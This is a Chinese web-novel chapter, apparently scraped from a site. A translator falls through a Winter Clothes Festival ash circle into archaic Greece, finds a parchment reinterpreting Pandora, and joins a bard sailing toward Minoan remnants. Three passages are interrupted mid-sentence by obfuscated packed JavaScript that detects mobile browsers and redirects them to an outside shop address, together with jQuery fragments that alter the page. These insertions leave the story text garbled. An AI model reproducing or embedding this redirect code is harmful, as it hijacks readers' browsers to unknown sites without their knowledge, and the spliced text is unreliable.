《寒衣节的通道》 1. 银币有两面 人类的左脚是人文科学,右脚是自然科学。随着时间的推移,人类的右脚从脚换成了两轮、四轮、轻轨和火箭......而左脚却仅仅刚迈出半步。 这就是人类历史的发展和桎梏。看似飞速发展,实际上总在回到奴隶社会的悬崖边,徘徊。 11月初的帝都,空气冷而不冽,晚霞橘光暖暖,街心花园里大片的杨树叶和草地泛着温柔的黄色。 花园里一家咖啡店的小方桌上,放着份希腊语手稿照片的打印件。 “这是最后一份了。客户很满意你的翻译,说之后还会找你翻译其他文件,可能是古希腊语,就是那种,什么线形文字A?”翻译公司的张姐嘬着卡布奇诺,断断续续地交代工作。 “A?B吧?”余茶摇了摇头,满脸菜色地喝了一小口热红茶,嗓子沙哑地抱怨说:“我可没本事翻译A,B也够呛,水平不够。这批我都想加钱了,他这和线形文字B也没多大差别,时代很接近,字迹还模糊。为了赶时间,我连熬了好几个大夜。” “还加钱?!薄薄两张纸,不到100字,翻译费涨了4倍,批注字数另收费。”张姐试探着打趣道:“你知道英译中千字多少钱吗?160块是市场上的厚道价!就算你小语种,3年不开张,开张吃3年,千字给个1000块,算大方了。从来没见过翻译几句诗歌,单次要价从2万涨到8万多。我从业20年,在您这儿算是开眼了。你们是不是在做什么秘密交易?出了事可别拖我下水啊。” 扫了眼咖啡厅的大门,余茶面无表情地轻哼,说:“那20%的中介费,你不也收的挺愉快吗?”她漫不经心地看向窗外。初冬的温差让草地拥有了丰富的色彩,橘红色、枯黄色和褪色的绿色组成了深秋的浓烈,偶尔会有一片发黄的落叶缓缓飘向公园黄色的木椅上。张姐看到余茶对着落叶走神儿,也保持了安静。时间缓慢地走了一会儿,余茶突然开口:“这客户你是怎么认识的?” 张姐皱了一下眉,随后又笑道:“你心也真大,现在才想起问我客户的来历?其实我没见过对方,一直通过邮箱联系。他给的稿件虽短但过于小众,我说不好找人需要押金,他给钱很痛快,所以我才找你这个王牌出马。第一次翻译后,他在邮件里对你大夸特夸,还和我要你的联系方式……” 看到余茶抿唇,张姐眼角的笑纹更深了几分,她继续说:“我是个守诺的人,答应过不外漏你的信息必然守口如瓶。况且,你那漫天要价的狠劲儿,我担心你挨揍。被拒绝后,他没过多纠缠。” 她沉吟了会儿,叹了口气,带着规劝的语气继续道:“就算这位是事儿少钱多的豪客,几十年来我真的没见过这种活儿,你要小心啊,赚钱也得顾着命。” 余茶第一次露出了笑容,她轻靠椅背盯着张姐说:“拒绝给联系方式?看不上好处费吧。” 张姐把端起的咖啡杯放在桌上,仍然笑眯眯地说:“还是你懂我。他提出加1000块,王牌怎么可能只值这个价?我虽不聪明,但露水情缘和长久饭票,还是分得清的。他也挺有意思,总价那么高不讲价,想要个联系方式却给这么一点点。谁会做亏本生意。” “我翻译后告诉你总价,定金先收个4万。结束后,我要休息一段时间,有大活儿再叫我。”余茶把桌上那张薄薄的A4纸折了一下放到羊绒大衣口袋里,看到张姐欲言又止,她懒懒地留了句:“好奇心害死猫。”就离开了咖啡店。 挥别张姐,慢慢走向来时的小巷。橘光消散带走了太阳的余温,华灯初上,小风吹起,余茶戴上了兜帽,嘴角微翘,思维散漫地想:“不亏是白手起家的老油条,对危险的气味这么敏感。合作还能继续一段时间。” 从小聪颖又会赚钱,高中毕业时不靠父母支援,在帝都二环和四环全款买了两套80平的房子。金钱和知识,让余茶自信自傲,此外,她还拥有堪比通灵的第六感,每每在危险边缘为她保驾护航。截止目前,她最大的挫折也不过是父母的忽视。这次的翻译活儿不太对劲,在第一次翻译时她就发现了端倪,客人似乎在古老的诗歌里找寻什么东西,从高清照片中看纸张的细纹很像老物件,价格难以估量。而对方也很谨慎,给的是照片的打印件,她觉得里面有大门道,于是把自己翻译时收集的资料和感受也写了进去。 “没想到,竟然这么值钱?”虽然狮子大开口,但对方付款太过痛快,一开始余茶心中也有些忐忑。 “可金钱的芳香实在诱人,”她看着街景,喃喃道:“做最坏的打算,付最狠的代价,获最高的奖励。”在十余年翻译生涯中每每要做风险大的决定时,余茶就会默念这句话。因此,无论是遇到人品低下只想揩油的图书公司编辑,还是坑蒙拐骗的小翻译公司,谁也别想占她便宜。性骚扰的编辑——送他去派出所免费住了几天,骗子公司的老总——花钱买了她盯梢后发现的出轨证据。 派出所的老警察劝她:“几百块钱的事儿,何必花这么多时间和精力,你一个小姑娘,还去偷拍人出轨的照片,万一是个混不吝的,当时你就危险了。和这种糟心的人打交道多了,你不会每次都这么幸运啊。” 她明白对方是好意,但无论谁想占她几百块的便宜,她都会给自己的钱包讨个公道。不过对着警察叔叔,她仍给面子提了下嘴角,说:“人活一世,万事不就求个公道吗?” 正在胡思乱想的余茶,突然眉头一蹙,前面十字路口一个穿着深蓝色厚棉服的人蹲着烧纸,而自己正是下风口。她右手掩鼻,一边小心翼翼躲着随风飞舞的灰烬,一边低头看着,避免踩到地上用白粉笔画的圆圈。 老家有种说法,这种烧纸的白圈是地狱大门的缝隙,踩上去晦气,更有可能被鬼跟着。余茶算是个小迷信,自然不想碰晦气。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17226072|197565||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 十字路口的风不着四六,前一秒余灰被吹向北边,后一秒大风突起,灰烬闪烁红光打着旋儿冲向了余茶。余茶撇嘴,左顾右躲走得扭捏,不小心就踩到盲道上,盲道棱子上有个硌脚的东西,余茶踩了寸劲儿,腿一软,双脚陷入一团画在白圈里的灰烬中。 “我的新皮靴!”她恼怒地抬头,张着嘴想骂人,却突然心脏如同被敲打的肉鼓,咚咚咚地响个不停,敲打速度越来越快,胸口像被一双手强硬地撕扯,张着的嘴却只能发出低频嘶哑的呵呵声。 没几秒,余茶晕死过去。 ———————————————————————————— “咳咳咳。。。。。。” 醒来的余茶在不住的咳嗽,突然,她惊恐地叫道:“我咳出了什么?!” 余茶伸直了脖子向右转,然而目之所及只有风声和无尽的黑暗,她颤抖着把手举到眼前,不见五指,整个人像被腌入了墨中。 “我应该没瞎......”她试着慢慢伸出双手,想用食指尖轻触周边,下一刻,她恐慌了起来。 “没有触觉?还是,已经没有了,手?”余茶努力让自己保持冷静,她开始感受四周,然后绝望地发现,自己无法动弹,仿佛有什么东西把自己的意识和身体切断了。 “什么都看不到,什么都感受不到,那,我还活着吗?” “呲!” 尽管上一秒还在怀疑自己是否有头,但听到声音的一刻,余茶立刻把头转向破空声来源的方向,可惜仍只有一片漆黑。 “呲!”余茶转向左边,“呲!”右边,“呲”后边,“呲!” 余茶觉得自己的头在360度的旋转,可始终无法捕捉到那声音的来源。 “呲!”下方! 幸运地是,余茶在声音出现的前一秒,正好低头,她看到了! 此时不只是全身筛糠似的抖动,她惊骇到灵魂都在颤抖! 她看到了自己的脸,带着一点点亮光,倏地出现了又消失了。有了第一次,第二次,第三次就不难了,之后她又分别看到了自己的手,脚,背,后脑勺,正面,侧面,背面,随着声音出现又消失。 “我被肢解了?可我只是崴了一下,脚踝都没扭到,怎么可能就死了呢?” 余茶的身体分块地不断出现,而她已经从一开始的拼命都捕捉不到,到熟能生巧似的每次都能先一步判断出现的方向,捕捉到自己逐渐变形的身体块。 “人死后是这样的吗?”作为坚定的唯物主义者,余茶从不认为人死后有什么天堂地狱,但此刻的她,突然怀疑起来。 漆黑一片的空间,唯一的亮光是时不时冒出的自己的尸体块。这种诡谲的现象,在感受不到时间流逝的地方,一直持续着,持续到余茶开始麻木,她终于在连绵不断的“呲”声中,闭上了双眼。 2. 赫西俄德的羊皮 “闭眼”的举动,在这个连“闭眼”都只是意识模拟的动作里,本应毫无意义。 然而,就在余茶这个绝望的念头升起的刹那,那连绵不绝、切割着她身体影像的“呲”声,停了。 绝对的死寂,让恐惧无边际蔓延。 紧接着,一股无法抗拒的吸力从下方传来——不是物理意义上的下方,而是她意识感知的“下”。仿佛那个刚刚还展示着她破碎身体的黑暗深渊,此刻变成了一个漩涡。没有坠落感,没有风声,只有一种存在被“抽离”与“重塑”的剧烈眩晕。 无数破碎的光影和意义不明的音节涌入她的感知,像是30倍速快进的视频,又像是许多人在她耳边用不同的语言急促低语。她捕捉到几个熟悉的古希腊语词汇,夹杂着她刚翻译过的那些古老诗歌的韵律,还有……烧纸的灰烬气息,以及皮靴踩在盲道上那突兀的硌脚感。 这些毫不相干的碎片被漩涡粗暴地搅拌在一起。 不知过了多久,那股力量猛地将她“吐出”。 触觉,率先回归。 粗糙,坚硬,冰冷,是石头。她的背正贴着粗糙的石面,寒意透过单薄的衣物渗入骨髓。随即是嗅觉——浓重的烟火气、动物粪便、橄榄油以及海风咸腥混合的、极具冲击性的气味。最后是听觉,嘈杂的人声、牛羊的叫声、远处海浪的拍击,以一种陌生的语言语调涌入耳膜。 余茶猛地睁开眼。 首先映入眼帘的,是一片广阔得令人心悸的、蓝得不真实的天空,偶尔点缀几缕洁白的云丝,巨大的太阳高悬,阳光毫无遮拦地倾泻下来,刺得她眼球发痛。她转动僵硬的脖子,发现自己躺在一处泥石混合的斜坡上,坡下是一片杂乱低矮的房屋,多为土坯或粗糙的石砌,远处可见深蓝色的海湾和帆影。 这不是帝都,帝都没这么暖和。 心脏在胸腔里狂跳,但不再是之前那种被撕扯的剧痛,而是源于极致的震惊与茫然。她试图坐起,身体传来剧烈的酸痛,尤其是左脚踝,传来真实的、钝钝的疼痛——是扭伤的感觉。不自觉地松了口气,终于摆脱了之前那种诡异的、意识与身体的剥离,至于眼前陌生的环境所可能潜在的危险,比起刚才生不如死的恐惧,能有多危险? 她低下头,看到自己身上穿着的不再是那件柔软的羊绒大衣,而是一件粗糙的、原色的亚麻布料,用粗糙的石头别针在肩头固定,腰上系了土扑扑的腰布,长度及膝,很像古希腊的希顿。脚上的新皮靴不见了,取而代之的是磨损严重的皮质凉鞋。她黑色的长发披散着,沾满了尘土。 “哪儿来的希腊式破布?我1万多的羊绒大衣和那双3千多的小羊皮靴哩?” 余茶皱眉低头看看衣服,又抬头看看四周,空气的味道、阳光的强度、建筑的样式,尤其是坡下不远处的那些人身上与她类似的服饰,都在暗示一种很扯皮的现实——这里是另一个时空。 “古希腊?”这个荒谬的念头窜出来,带着压倒性的真实感,让余茶懵了。她无意识地摸了一下身上的粗亚麻,剌手! “这他妈的是打劫!”余茶愤愤不平。气愤战胜了恐惧,她冷静地快速检查了随身物品。 全部消失了,连条底裤都没留,那条中腰底裤弹力大又柔软,是她最喜欢的一条! 此刻,除身上披的“破床单”,唯一的“异物”,是紧紧攥在右手心里的一样东西。 她松开因用力而发白的手指——是一小卷陈旧的羊皮纸,用一根细皮绳捆着。 “什么玩意儿?”余茶烦躁地看了看羊皮纸,却呼吸一滞。这羊皮的质感,与她翻译的照片上那些模糊文献的基底纹路,何其相似。皮绳毛毛糙糙,不甚结实,余茶小心地解开,将羊皮纸轻轻展开。 上面是用古希腊语书写的一段文字,墨迹深褐,近乎黑色,笔画古朴有力,与她近期翻译的那些诗歌属于同一种风格,但更为流畅完整。内容并非诗歌,像是一段个人记述: “……我从老卡利克斯那里换来这块羊皮,他说这是从他祖父的祖父时代传下来的,源自一个驾船来自南方迷雾之岛的行吟者。上面记录的故事与赫西俄德所说的不同。他们说,潘多拉并非怀揣恶意而降生,她随身之物,亦非诸神填入灾祸的陷阱。那是‘贮藏之器’,盛放的是上一纪文明的‘光’与‘智识’,由一位被遗忘的‘塑造者’托付。打开它,智慧流散入尘世,化为各种技艺。但凡人脆弱,无法承受纯粹之光,被其照亮,亦被其灼伤。赫西俄德将‘光’称为‘灾祸’,将‘托付’扭曲为‘惩罚’,将她的名字从‘赐予一切者’变为‘引来一切者’。为何篡改?老卡利克斯低声说,或许因那‘光’属于旧神,而新神的秩序,建立在将旧神的一切描绘为危险与混沌之上。掌握这段记述是危险的,它动摇根基。但我必须记下,因我曾在梦中,见过那瓶子打开的瞬间——光如洪流,瓶中深处,并非空无一物,仍在等待……” 记述至此中断,末尾没有署名。 余茶神色一怔,停止了胡思乱想。潘多拉?赫西俄德的篡改?这羊皮上的文字,几乎是补全了自己到这里前那份巨额翻译的实质内容,这绝非巧合。她翻译的那些碎片化的诗歌,恐怕就是指向这段完整记述的线索,那位神秘的客户,寻找的就是这个?那她现在也不在梦中!? 她猛地将羊皮卷起,塞进怀里。环顾四周,强烈的危机感攥住了她——如果不是梦中,那她时空转移的原因目前就不存在于她的想象范围。 “所以眼下只能走一步看一步了。” 而在她可想象的范围:这个完全陌生的时代,一个单身出现的、衣着狼狈的年轻女性,手里还拿着这样一份可能触及“神学禁忌”的文献,处境极度危险。在古希腊渎神者会被判死刑。 身份……我需要一个身份。 她快速观察坡下的城镇和来往行人。人们的装扮简单,女性多低头行路,男性则更为活跃。她注意到港口方向有些忙碌的身影,似乎有货物装卸。一个念头闪现——语言。她是翻译,精通古希腊语,这是她目前最大的依仗。但她的口音、用词习惯可能与当地人有不小的差别。 坡下走来两个提着陶罐的妇女,说着带有浓重地方口音的希腊语,讨论着橄榄的收成。余茶仔细倾听,努力捕捉发音特点。接着,一个背着渔网、皮肤黝黑的年轻男子从她附近经过,瞥了她一眼,眼神有些疑惑,但没有停留。 余茶深吸一口气,忍着脚踝的疼痛站起来。她必须主动融入,被动停留只会引来更多审视。她回忆着古希腊的社会结构,一个单身自由女性,最好的保护色或许是有一定技能、但出身低微、流动的外来者。 她拍掉身上的尘土,找了根长一些的细树枝,将头发胡乱挽起固定。然后,她走向城镇边缘一处人稍少的水井旁,那里有几个妇女在打水。 “愿众神赐福,”她模仿着刚才听到的语调,声音沙哑,“我从纳克索斯岛来,跟随的商船遇到了风暴,我侥幸游上岸,行李都失落了。”她选择了一个距离此地可能不算太近也不算太远的岛屿,风暴是常见的借口。纳克索斯……这个名字脱口而出时,她脑海里闪过翻译过的某行诗歌片段,似乎与酒神狄俄尼索斯有关,但此刻顾不上了。 打水的妇女们停下来,好奇地打量她。其中一个年长的妇人看着她破烂的凉鞋和苍白的脸,眼中露出一丝同情:“可怜的孩子,风暴是无情的。你的家人呢?” “都在风暴中归于波塞冬的怀抱了。”余茶垂下眼,语气哀伤。这并不难,她此刻的境遇本就足够悲惨。 “你是做什么的?”另一个年轻些的妇人问。 余茶抬起头,眼神尽量显得诚恳而无害:“我……我曾为岛上的祭司抄写过献给神祇的文书,认识一些字。”她不敢说翻译,抄写是更低调、也更合理的技能,且与她怀中的羊皮卷潜在关联。“我需要找些活儿干,换点食物和栖身之处,等到有船能带我离开。” 识字的女性,即使地位不高,也多少会让人有些刮目相看,尤其是在非核心城邦的地区 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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储藏室角落的草垫散发着霉味和尘土气,但至少有了遮蔽。夜深人静,作坊里的活计停歇,只有守夜狗的偶尔吠叫传来。 余茶蜷在草垫上,怀里紧紧揣着那卷羊皮纸,脚踝的疼痛隐隐传来,却让她感到一种扭曲的踏实——这疼痛是真实的,证明她确实存在于一个物理世界。 羊皮卷上的文字在她脑中反复回旋。“上一纪文明的‘光’与‘智识’”、“旧神与新神”、“塑造者”……这些词汇与她翻译过的碎片、与赫西俄德的诗篇、甚至与她莫名联想到的米诺斯文明那些破碎线索交织在一起。客户寻找的,难道就是这份对“潘多拉神话”的异端解读?这羊皮纸是如何到她手中的?那个烧纸的圆圈、奇异的黑暗空间、身体的切割感,与这场“时空穿越”有何关联? 还有最关键的问题:现在是何时?何地? 她需要信息,需要更准确地定位这个时空,才能知道自己究竟卷入了什么。赫西俄德是否还活着?他的诗篇是否已流传?那“旧神”与“新神”的交替,又进行到了哪一步? 怀中的羊皮纸像一块灼热的炭,既是指引,也是无尽的危险。在这个神谕和信仰渗透日常生活的时代,持有并相信这样一份文献,是灭顶之灾,可这也是回家的唯一线索。 窗外,陌生的星空璀璨夺目,银河清晰可见。余茶望着星空,第一次如此清晰地认识到:她所熟知的一切规则、保护、乃至时空本身,都已如昨日云烟。活下去,弄清楚真相,找到回去的方法——或者至少,掌握自己在这个凶险新世界的命运,成了她当前的目标。 而这一切,都从伪装好这个脆弱的“抄写女工”身份,并小心翼翼地探听这个世界的模样开始。她闭上眼,不再是黑暗虚空中绝望的闭合,而是带着疲惫、警惕和一丝如野草般钻出石缝的坚韧。 寒衣节的灰烬与冥河边的纸圈,似乎打通了通往另一个维度的缝隙。余茶的故事,或者说,她与那个被掩盖的“潘多拉真相”的纠缠,刚刚在古希腊的星空下,被迫拉开了帷幕。 3. 悬崖神庙的琴弦与迷雾之岛 陶匠作坊的活计单调而沉重。余茶白天用木签在泥板或陶片上记录订单、货物数量,偶尔帮索克勒斯核对往来账目——用心算。她的“识字”和快速计算能力很快赢得了陶匠谨慎的信任,却也引来其他帮工好奇或略带排挤的目光。她沉默寡言,口音被解释为遥远的纳克索斯岛特征,尽量降低自己的存在感。 脚踝的伤在粗糙的草药敷料和休息下慢慢好转。曾经常被老师称赞为语言天才的余茶,高度集中精力,利用一切机会倾听作坊里工匠、送货人、买主的交谈,像一块干燥的海绵,疯狂吸收关于这个时代的信息碎片,同时学习这个时代的语言。她逐渐拼凑出一些关键事实:这里是阿提卡地区,但并非雅典卫城脚下的主城。此地是卫城东边一处临海的较大村落,名叫“弗利厄”(Phlyē),以一个小型港口和这片俯瞰海湾的悬崖闻名。人们常提起“僭主”和“议事会”,时间似乎对应着她所知的古希腊古风时期,大约公元前5世纪左右。赫西俄德的名字偶尔被年长者提及,与“神谱”、“农事”联系在一起,似乎已是公认的权威诗人。这让她怀中的羊皮纸更加滚烫——它直接挑战的,正是这个时代逐渐固化的正统叙事。 索科勒斯不善言辞,他的老婆更是沉默寡言,平时会通过纺织羊毛料贴补家用,余茶有空会帮忙整理羊毛,顺便偷学一点纺织技术,技多不压身。 她格外留意关于悬崖的谈论。那里有一座古老的阿波罗神庙,据说比雅典卫城上的一些建筑年代更久远,甚至带有“迈锡尼人或者更早的人留下的痕迹”。村民对那座神庙感情复杂,既敬畏,又觉得它有些“不同”,祭祀的仪式也与雅典主流略有不符。神庙祭司是个沉默的老人,不太与村民交往。 余茶知道,她必须去那里看看。一种强烈的直觉,以及羊皮纸上“旧神”、“塑造者”的暗示,像磁石般吸引着她。 机会在一个休工的下午来临。索克勒斯需要将一套精制的祭神酒盏送到神庙,作为某位富裕船主的还愿贡品。他看了看已能走动的余茶:“你,识字,又是个姑娘,送过去显得恭敬些。交给祭司老阿里斯托克勒斯就行,别乱看,别多话。” 余茶接过仔细包裹的陶器,心脏在胸腔里砰砰撞动。她沿着村民指示的蜿蜒小径,向悬崖顶端攀爬。混着碎石的土路越来越陡,海风带着咸腥和野生百里香的苦涩气息,逐渐吹散了她挽得松松垮垮的头发。当她终于披头散发地登上崖顶,眼前豁然开朗。 墨蓝的爱琴海在脚下无尽铺展,悬崖陡峭如削。然而,占据她视野的,并非她想象中宏伟的多立克柱式神庙。那是一座低矮、敦实的石砌建筑,墙壁厚实,表面被风雨侵蚀得粗糙发黑,仅有的几根柱子短而粗,柱头是简单的涡卷,有些像米诺斯文明艺术中常见的流畅曲线感,与希腊神庙的方正几何感风格迥异。它不像供奉光明文艺医药之神阿波罗的圣所,更像一个古老的堡垒或观测站。神庙朝向并非正东,而是微妙地偏向东南方,视线恰好掠过海面,投向远方一抹朦胧的、似有似无的陆地阴影。 这就是村民觉得它“不同”的原因。它属于更早的时代。 她正出神,一阵清越却略带忧伤的里拉琴声从神庙背风的侧面传来。琴声技巧娴熟,旋律并非她熟悉的任何古希腊常见调式,更古老,更蜿蜒,带着海浪般的起伏与迷雾般的怅惘。 余茶随手找了根细树枝挽起头发,然后抱着陶器,循声走去。 一位年轻的游吟诗人倚坐在一块能避风的巨石下。他穿着一件半旧的原色羊毛斗篷,棕黑色的头发卷曲,肤色是被阳光和海风浸染的小麦色,闭着眼,手指拨动着七弦琴。他的脚边放着一个磨损的皮袋和一根手杖。琴箱上雕刻的图案,让余茶瞳孔微缩——那并非阿波罗的圣物月桂或里拉,而是一只简化的、风格化的公牛头,牛角弯曲的形态,与她翻译过的米诺斯印章图案惊人相似。 琴声戛然而止。诗人睁开眼,那是一双罕见的、近乎透明的淡琥珀色的眼睛,此刻正平静地看向她,带着一丝审视,并无太多意外,仿佛早已察觉她的接近。 “愿阿波罗赐你灵感,”余茶按捺住心惊,微微颔首,用的是对艺人的常见祝福,“我为陶匠索克勒斯来送贡品。” 诗人没有回应祝福,目光在她脸上停留片刻,又扫过她怀中陶器的包装,最后落在她虽然好转但走路姿态仍不自然的脚上。“从风暴里逃生的人,脚步里还藏着海的眩晕。”他的声音不高,带着游吟者特有的韵律感,说的却是余茶编造的来历,“纳克索斯的风暴,很少把遇难者精准地吹到弗利厄的悬崖上。” 余茶背脊一凉,强自镇定:“神的意愿难以揣度。我该把贡品送进去了。” “老阿里斯托克勒斯今天去了港口,为一条新船祈福。日落前不会回来。”诗人淡淡道,手指漫不经心地划过琴弦,发出一串稍沉闷的泠泠清音,“你可以放在神庙门口的石台上,或者……如果你对这座比雅典娜诞生更早的石头,以及它真正看顾的方向感兴趣,可以等一等。” 他话中的暗示再明显不过。余茶心跳如鼓。他知道她不是普通的送祭品女工?还是每个外来者都会引起他这样的兴趣?她犹豫了。 诗人却不催促,重新调了调琴弦,开始吟唱另一段旋律。这次,他用了词。是古希腊语,但发音极其古雅,用词也生僻,余茶勉强能听懂大意: “并非狄克婷的错,当迷雾笼罩航线, 也非欧罗巴的羞惭,当公牛踏浪而去。 记忆沉入陶土之底,随双斧锈蚀; 唯有观星者,仍辨识那被抹去的潮汐……” 双斧、观星者、被抹去的潮汐,这几个词像箭一样射中余茶!她翻译过的碎片、羊皮卷上的记述,与这诗人的歌谣产生了直接共鸣。这绝不是巧合。 她深吸一口气,走到石台边放下陶器,然后在离诗人几步远的地方坐下,面朝大海。“你唱的不是荷马,也不是赫西俄德。” 诗人嘴角微扬,露出一丝几乎看不见的笑意。“荷马唱英雄的荣耀与悲叹,赫西俄德唱神的秩序与人的劳苦。我唱的是……被秩序吞没的微光,被劳苦遗忘的潮信。”他淡琥珀色的眼睛看向她,“你知道克里特吗?不是现在那个臣服于多利安,种植橄榄和葡萄的岛屿。是更早的,公牛在宫殿庭院中跃动,女神手持蛇杖的克里特。” “米诺斯。”余茶低声说出这个名字。 诗人琴弦轻轻一颤。“很多人已不愿提起这个名字,或者只把它当作迷宫和怪物的传说。但有些歌谣,还在某些地方流传,在某些……血脉和记忆未曾完全断绝的人中间。”他仔细打量她,“你的古希腊语,有书卷气,不是市井学来的。你在寻找什么?或者,是什么把你‘带’到了这里,这位从风暴和‘纸张’(他用了‘chartēs’一词,但发音古怪)中幸存的小姐?” 他连“纸张”都察觉了?余茶毛骨悚然,瞬间想到怀中羊皮纸,又想到穿越前那打印的文稿。作为一个唯物主义者,每次想到这种扯犊子的跨越千年时空却有千丝万缕关系的信息,她就会猜测这是不是一个大脑催眠试验?她如果像疯子一样摊在地上,撕破脸皮地大喊大叫:“老子不玩儿了,让我回家。”是不是就能够回到原来正常的生活,而不是在这个不真实的真实世界当个记录女工? 但眼下,她却只能感叹,这个诗人敏锐得可怕,他会不会是这个荒诞现象中的NPC,可以指引她回家?那她除了继续扮演自己的角色,也别无他法了。 “我只是个侥幸活下来的抄写员。”她坚持最初的伪装,但语气已不那么肯定。 诗人不再追问,转而望向东南方海面那抹朦胧的阴影。“那是凯阿岛(Kea),但从这里望去的方向,如果航向稍微偏南,乘着特定的季风,经过足够的日夜,你会看到一片更大的、被群山和迷雾守护的土地。有些人称之为‘大岛’,有些人仍固执地用古老的名字称呼它。那里的山峰上,还有废弃的宫殿台阶;某些洞穴里,还回响着不是献给奥林匹斯神的祷词。” 他话锋一转:“老阿里斯托克勒斯祭司家族世代守护这座神庙,记录的不是献给阿波罗的颂歌,而是海流、星象的异常,以及……从东南方偶尔随风而来的、零散的古语词汇。他们认为,这座神庙最初的作用,是观测和联络。联络那个沉没在时间里的文明最后的余光。” 余茶感到口干舌燥。“你为什么告诉我这些?” “因为你的眼睛里有同样的‘寻找’,”诗人直截了当地说,“也因为,我正要前往那里。我的歌谣需要更古老的源头,而不是在雅典广场重复那些已被篡改千遍的故事。我受人之托——一位住在凯阿岛偏远海湾的老水手,他年轻时曾误入迷雾,到达过一个‘祭司仍与星辰对话’的村庄。他快死了,想把一些东西送回去。我缺少一个……能读懂古老符号,并且足够谨慎的同行者。”他的目光落在余茶的手上,那双手因抄写和劳作已有薄茧,但手指的形状仍显露出长期执笔的特征。 这是一个极度危险的提议。前往一个迷雾笼罩、可能充满未知的岛屿,寻找一个可能只是传说的米诺斯遗民群落?与这个神秘莫测的诗人同行? 但余茶没有选择。羊皮纸的谜团、她离奇的穿越、对真相的渴求,都像锁链般将她拉向那个方向。留在这里,她永远只是一个战战兢兢的异乡女工,怀揣着一个足以致命的秘密。 “我需要做什么?”她问,声音在海风中有些发颤,却带着决绝。 “做你自己。抄写员,观察者,以及……如果遇到只能用古老线形符号书写的人,尝试沟通。”诗人站起身,收拾他的琴和行囊,“船已经准备好了,不是大商船,是一条老水手留下的、能穿行迷雾的小艇。我们明天黎明前,在港口最东边的碎石滩出发。带上你能带的一切,但别引人注意。这趟旅程,不能有第三个活人知道真正的目的地。” 他顿了顿,补充道:“你可以叫我利诺斯(Linos)。至于真名……”他笑了笑,“在到达那片迷雾之前,并不重要。” 利诺斯!余茶心头巨震。她在查找资料时看到过这个名词,原来是个人名!是巧合,还是某种难以言喻的映射? 她没有时间深究。利诺斯已经转身,沿着另一条更陡峭的小径向山下走去,琴箱上的公牛头雕刻在夕阳下泛着黯淡的光泽。 余茶回到陶匠作坊,以“远亲托人带信,需要在港口迎接并处理一些家事”为由,向索克勒斯请辞。陶匠虽然不满她刚熟悉活计就要走,但看在她工作还算认真的份上,扣下了她微薄的工钱,勉强答应了。 “哼,一枚指甲盖小的银币都要扣我的!”余茶心中不满,“过路的商人都夸我记录清晰准确,有人为此还多定了一批陶罐。真是个抠门的陶匠。” 不过,锱铢必较的余茶当然不会一无所有地离开作坊,但万一以后还要返回这里,也不能把陶匠得罪死了。于是,她怀里揣着那卷至关重要的羊皮纸,穿着因为帮助索克勒斯妻子整理羊毛,而被“施舍”的一件破洞羊毛斗篷,外加一小袋涂了点蜂蜜的干面饼及淡水,离开时还从工坊里顺走一条长长的亚麻布条,绑住偶尔仍会隐痛的脚踝,在黎明前最黑暗的时刻,来到了港口东边布满碎石的荒僻海滩。 利诺斯已经在那里。一条窄长、船身黝黑的小 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17226074|197565||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 艇静静泊在浅水处,船形与她见过的任何希腊船只都不同,线条更流畅,像海豚。他正将一小袋淡水和用油布包裹的硬面饼、鱼干放进船舱。 没有多余的话,余茶爬上小艇。利诺斯解开缆绳,用长篙将船推离海滩,然后升起一面小小的、颜色晦暗的三角帆。风从陆地吹向海洋,正是离港的时机。 小艇滑入渐亮的晨光中,弗利厄的悬崖和那座古老的阿波罗神庙渐渐缩小。余茶回望,看到神庙所在的位置,在晨曦中像一个指向东南方的沉默箭头。 航程比想象中漫长而艰辛。利诺斯是个熟练的航海者,沉默地操控着风帆和尾舵。他们白天航行,夜晚寻找无人小岛或隐蔽海湾停泊,补充一些食物和淡水。他教余茶辨认基本的星座导航,也指出一些海流和鸟类活动的异常,这些知识似乎夹杂着非希腊传统的古老经验。 “我们还算幸运,已经过了冬季,风没有那么猛烈,速度快了不少。”途中,利诺斯和余茶说他走之前去神庙占卜了旅途的运势,会顺利。 几天后,他们接近了凯阿岛。但利诺斯没有停靠任何港口,而是沿着荒凉的西海岸航行,最后驶入一个被高耸岩壁环绕的、极其隐蔽的小海湾。岸边有一间几乎与岩石同色的简陋石屋。 一个枯瘦如柴、脸上刻满风霜痕迹的老人坐在屋前,望着大海。他的眼睛浑浊,但在看到利诺斯的小艇和船头某处不显眼的标记时,闪过一丝微弱的光亮。余茶注意到那是一个简单的螺旋刻痕。 利诺斯跳上岸,与老人用极低的声音交谈,用的是一种余茶完全听不懂的、音节简短的语言。老人颤抖着手,从怀中掏出一个用油布和蜡严密封裹的小包裹,递给利诺斯。又指了指余茶,问了句什么。利诺斯点了点头。 老人长长舒了口气,仿佛卸下了千斤重担,对着东南方的大海,喃喃念诵了几句,然后闭上眼,不再动弹。 他死了。 利诺斯沉默地将包裹收好,然后示意余茶帮忙,将老人的遗体抬到屋后一个早已挖好的浅坑,在老人身边放下一枚银币,鞠了一躬,用石头掩埋。 